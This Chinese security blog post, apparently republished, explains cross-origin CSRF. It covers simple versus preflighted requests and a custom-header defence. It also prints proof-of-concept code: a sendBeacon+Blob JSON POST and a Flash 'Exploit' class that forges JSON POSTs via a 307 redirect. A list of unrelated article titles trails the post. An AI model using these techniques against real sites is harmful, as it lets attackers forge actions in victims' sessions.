0x00 背景

同事在做CSRF的时候发现的。这里总结一下。

0x01 跨域的Simple Request

integrity="sha256-BbhdlvQf/xTY9gja0Dq3HiwQF8LaCRTXxZKRutelT44="

crossorigin="anonymous">

$.ajax({

type: "POST",

url: "https://www.nevermoe.com",

data: "{hello}",

//contentType:"application/json; charset=utf-8",

//dataType:"json",

success: function(){

alert('success')

},

});

如果你使用上面这个script来post一个跨域的request到www.nevermoe.com,然后使用burp来查看浏览器的流量,你会发现,这个request虽然是跨域的,但是它确实被POST出去了,而且也得到了response。

但是在浏览器端,浏览器却不会将返回的数据进行渲染,因为浏览器发现response里并没有'Access-Control-Allow-Origin',所有浏览器默认会拒绝显示跨域请求。

虽然如此,但是显然我们的POST请求显然已经成功了,也就是说,如果用在csrf上已经足够了。

0x02 跨域的 Non-Simple Request -- 失败版

但是这里有个问题,刚刚的脚本我们发出去的request的Content-Type是'application/x-www-form-urlencoded; charset=UTF-8'、这种简单的(Simple)javascript的request(包括'text/plain')会被浏览器直接发送出去,但如果我们想发送json格式的跨域请求,其实是做不到的。可以把刚刚上面那段脚本的注释去掉试试,发现burp捕捉到的流量是这样的:

这不是一个POST请求,而是一个OPTIONS请求。这个是被浏览器替换掉掉请求。这个请求有个学名,叫做pre-flight request,是浏览器用来确认服务器的CORS设置的,当发出这个请求后,发现服务器的response里没有'Access-Control-Allow-Origin' Header,则浏览器不会把真正的POST request发出去。在chrome控制台里你会看到这样的错误:

如此一来用javascript POST json格式似乎就不可能了。

0x03 跨域的 Non-Simple Request -- 成功版

这是同事发现的方法:在chrome下,用navigator.sendBeacon配合Blob可以跨域发送json的request。代码如下:

function jsonreq() {

var blob= new Blob([JSON.stringify({"hello":"world"})], {type : 'application/json; charset=UTF-8'}); // the blob

navigator.sendBeacon('https://www.nevermoe.com', blob )

}

jsonreq();

在chrome上这段代码不会发送pre-flight request,所以完全可以成功POST。如下:

注意,firefox上并不能成功,所以这是chrome的一个security bug,该bug从2015年开始被报告,但至今仍未fix。

(注:最新chrome已修复该bug,2017/09/01.)

0x05 扩展:防御CSRF

注意到,如果javascript想要发送一个Non-simple的request,那么一定会出发浏览器的pre-flight request,我们可以利用这一点来防止CSRF,比如使用json格式而非text/plain格式。但是在上面的chrome的bug中,即使使用json也是有危险的,我们可以使用强制发送自定request的header来防御CSRF:如果服务器收到的请求中没有自定义header(如X-Requested-With),则不处理该请求。如此一来,如果想要实现跨域javascript的请求,就必须写出如下js:

$.ajax({

type: "POST",

url: "https://www.nevermoe.com",

data: "{hello}",

headers: {'X-Requested-With': 'XMLHttpRequest'},

//contentType:"application/json; charset=utf-8",

//contentType:"text/plain",

//dataType:"json",

success: function(){

alert('success')

},

});

但是该js发送的请求是Non-simple的,浏览器看到这样的跨域请求会首先进行pre-flight请求,确定服务器是否允许跨域添加header。这时显然无法bypass CORS。

这种实现方式有个明显的好处,就是是stateless的,程序员不需要花额外的精力维护csrf_token之类的东西,实现起来较为简单。

0x06 注意

如果想要令jquery的ajax同时发送cookie,必须像这样使用"withCredentials":

$.ajax({

url: a_cross_domain_url,

xhrFields: {

withCredentials: true

}

});

并且用户的浏览器没有禁止第三方cookie,且服务器没有禁止WithCredentials。

在android的webview上,第三方cookie的是否允许的设置是这样的:

"Apps that target KITKAT or below default to allowing third party cookies. Apps targeting LOLLIPOP or later default to disallowing third party cookies."

也就是说在高版本的android webview中,即使withCredentials为true,默认也是无法用javascript发送带cookie的跨域请求的。

0x07 更新 2017.05.17

使用html form生成json数据

使用如下的方法可以生成一个Content-Type是text/plain的请求,且body部分是一个类似json的parameter(最后多了一个=号)。

如果服务器端没有判断只接受Content-Type为application/json的请求,且接受=号结尾的json格式,这样的csrf仍能够成立。

padding

如果你对多出来的等号不满意,可以构造如下html:

0x08 更新 2017.09.12

其实如果你想把Content-Type设置为application/json,还是有办法的,可以使用flash+307 redirect来实现。具体参照这个网站:

https://woto.kim/json_csrf。

你可以通过反编译的他的flash文件来自己分析一下。

0x09 更新 2019.03.15

flash+307 redirect来实现csrf的方式现在仍然可以,但是只能改变Content-Type,如果想增加别的header话则会导致浏览器去请求目标网站的crossdomain.xml。从同事哪里得到的代码:

package {

import flash.net.*;

import flash.events.*;

import flash.display.*;

import flash.text.*;

import flash.display.MovieClip;

import flash.external.ExternalInterface;

public class Exploit extends MovieClip

{

public function Exploit()

{

var txt:TextField = new TextField();

txt.text = "Hello!";

txt.x = 20;

txt.y = 20;

addChild(txt);

var parent:Object = loaderInfo.parameters;

// ExternalInterface.call("alert", parent["data"]);

var req:URLRequest = new URLRequest(parent["url"]);

req.method = URLRequestMethod.POST;

var header:URLRequestHeader = new URLRequestHeader("Content-type", "application/json");

req.requestHeaders.push(header);

req.data = parent["data"];

var loader:URLLoader = new URLLoader();

loader.dataFormat = URLLoaderDataFormat.TEXT

loader.load(req);

// var header2:URLRequestHeader = new URLRequestHeader("X-Requested-With", "XMLHttpRequest");

// req.requestHeaders.push(header2);

//var header2:URLRequestHeader = new URLRequestHeader("X-Haru", "yes");

//req.requestHeaders.push(header2);

//loader.addEventListener(Event.COMPLETE, loaderCompleteHD);

//loader.addEventListener(IOErrorEvent.IO_ERROR, ioErrorHD);

var txt2:TextField = new TextField();

txt2.text = "Hello!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!";

txt2.x = 20;

txt2.y = 20;

addChild(txt2);

}

}

}

编译:

mxmlc Exploit.as -static-link-runtime-shared-libraries=true

java csrf 跨域_使用javascript跨域请求与CSRF相关推荐

  1. axios 跨域_当遇到跨域开发时,我们如何处理好前后端配置和请求库封装

    我们知道很多大型项目都或多或少的采用跨域的模式开发, 以达到服务和资源的解耦和高效利用. 在大前端盛行的今天更为如此, 前端工程师可以通过nodejs或者Nginx轻松搭建起web服务器.这个时候我们 ...

  2. 测试是否支持跨域_浅谈跨域威胁与安全

    WEB前端中最常见的两种安全风险,XSS与CSRF,XSS,即跨站脚本攻击.CSRF即跨站请求伪造,两者属于跨域安全攻击,对于常见的XSS以及CSRF在此不多谈论,仅谈论一些不太常见的跨域技术以及安全 ...

  3. java redirect 跨域_如何解决跨域重定向携带参数的问题?不使用将参数拼接在重定向url末尾的方式...

    如何解决跨域重定向携带参数的问题?不使用将参数拼接在重定向url末尾的方式 需求,项目A在服务器A上,需要重定向到服务器B上项目B,并且需要携带参数,参数对用户不可见,所以不可以将参数拼接在重定向ur ...

  4. java redirect 跨域_碰到了跨域问题, Redirect is not allowed for a preflight request

    liubx: 后端配置: @Configuration public class CorsConfigure implements WebMvcConfigurer { @Override publi ...

  5. springboot解决js前端跨域问题,javascript跨域问题解决

    最近用springboot开发后台接口,但是接口开发好以后,用js请求接口json数据,遇到了烦人的跨域问题,也是找了好久才找到解决方法.下面来讲解下解决步骤. 一,编写Filter过滤器 把下面代码 ...

  6. jquery 跨域_springboot解决js前端跨域问题,javascript跨域问题解决

    最近用springboot开发后台接口,但是接口开发好以后,用js请求接口json数据,遇到了烦人的跨域问题,也是找了好久才找到解决方法.下面来讲解下解决步骤. 一,编写Filter过滤器 把下面代码 ...

  7. nginx 允许跨域_细谈跨域请求的桥梁

    何谓跨域?这是浏览器本身特有的同源策略.同源,是指请求的发送方和请求接收方必须在协议.域名和端口上保持高度一致,否则,就会出现请求成功,但无法成功拿到响应结果的现象.但实际开发中,各种复杂业务的交织难 ...

  8. java 嵌套对象序列化_在javascript中将复杂的,嵌套的,用户定义的对象序列化为字符串...

    是的,所以's kind of like you'重新序列化对象数据,而不是类数据 . 变量仍然存在,但关于类的元数据(即方法)没有被保留 . 一个解决方案可能是serialijse . serial ...

  9. Java生成pgp密钥对_在Javascript中生成PGP密钥对,并使用加密的PGP私钥对文本进行签名...

    我写的东西是 needs to do electronic signatures. 有些用户会像我这样的极客,并且已经拥有自己的PGP密钥.大多数人不会,也不会想要安装或维护它. 作为一种解决方案,我 ...

  10. JAVA script 循环 图片_深入分析JavaScript 事件循环(Event Loop)

    事件循环(Event Loop),是每个JS开发者都会接触到的概念,但是刚接触时可能会存在各种疑惑. 众所周知,JS是单线程的,即同一时间只能运行一个任务.一般情况下这不会引发问题,但是如果我们有一个 ...

最新文章

  1. Linux的项目中积累的实际工作技巧
  2. Javascript获取数组中的最大值和最小值方法汇总
  3. 全排列的生成算法:字典序法
  4. 搞笑动图:这些痛,只有程序员懂…
  5. 企业微信_客户联系,获取客户及客户群列表及详情
  6. ganglia-Monitor
  7. python调用canoe_从Python调用CAPL函数
  8. 帮助你免于失业的十大软件技术
  9. 开发idea插件教程
  10. 切比雪夫不等式例题讲解_14.初中数学:怎么求k的值?解一元一次不等式,基础常考题型...
  11. 大胆预测,2019年最佳外置硬盘和便携式SSD非这四款莫属!
  12. 人工智能于交通系统而言
  13. 【数据结构与算法】起始篇
  14. 服务端发现2t3ik.p进程占CPU过高。2t3ik ddgs.3011
  15. piv图像处理文献综述_体视2D-3cPIV相机标定方法研究
  16. oracle里面的terminate,c++  ooci  oracle中的ResultSet详解
  17. 2020低压电工复审模拟考试及低压电工作业模拟考试
  18. 通过IP地址查看计算机名
  19. C#串口扫描枪的简单实现
  20. “4K”时代将来临!标准/技术一网打尽

热门文章

  1. Posix信号量操作函数
  2. STL之set的应用
  3. BZOJ1079 [SCOI2008]着色方案 【dp记忆化搜索】
  4. java 定义mysql树形菜单
  5. 数据表分区, 全新分区
  6. javascript对数组的操作
  7. XML验证框架在项目中的应用
  8. 基于OpenCV的图像去雾程序(Single Image Haze Removal Using Dark Channel Prior)
  9. 能被3整除的Fibonacci的下标号
  10. 拓端tecdat|R语言广义相加(加性)模型(GAMs)与光滑函数可视化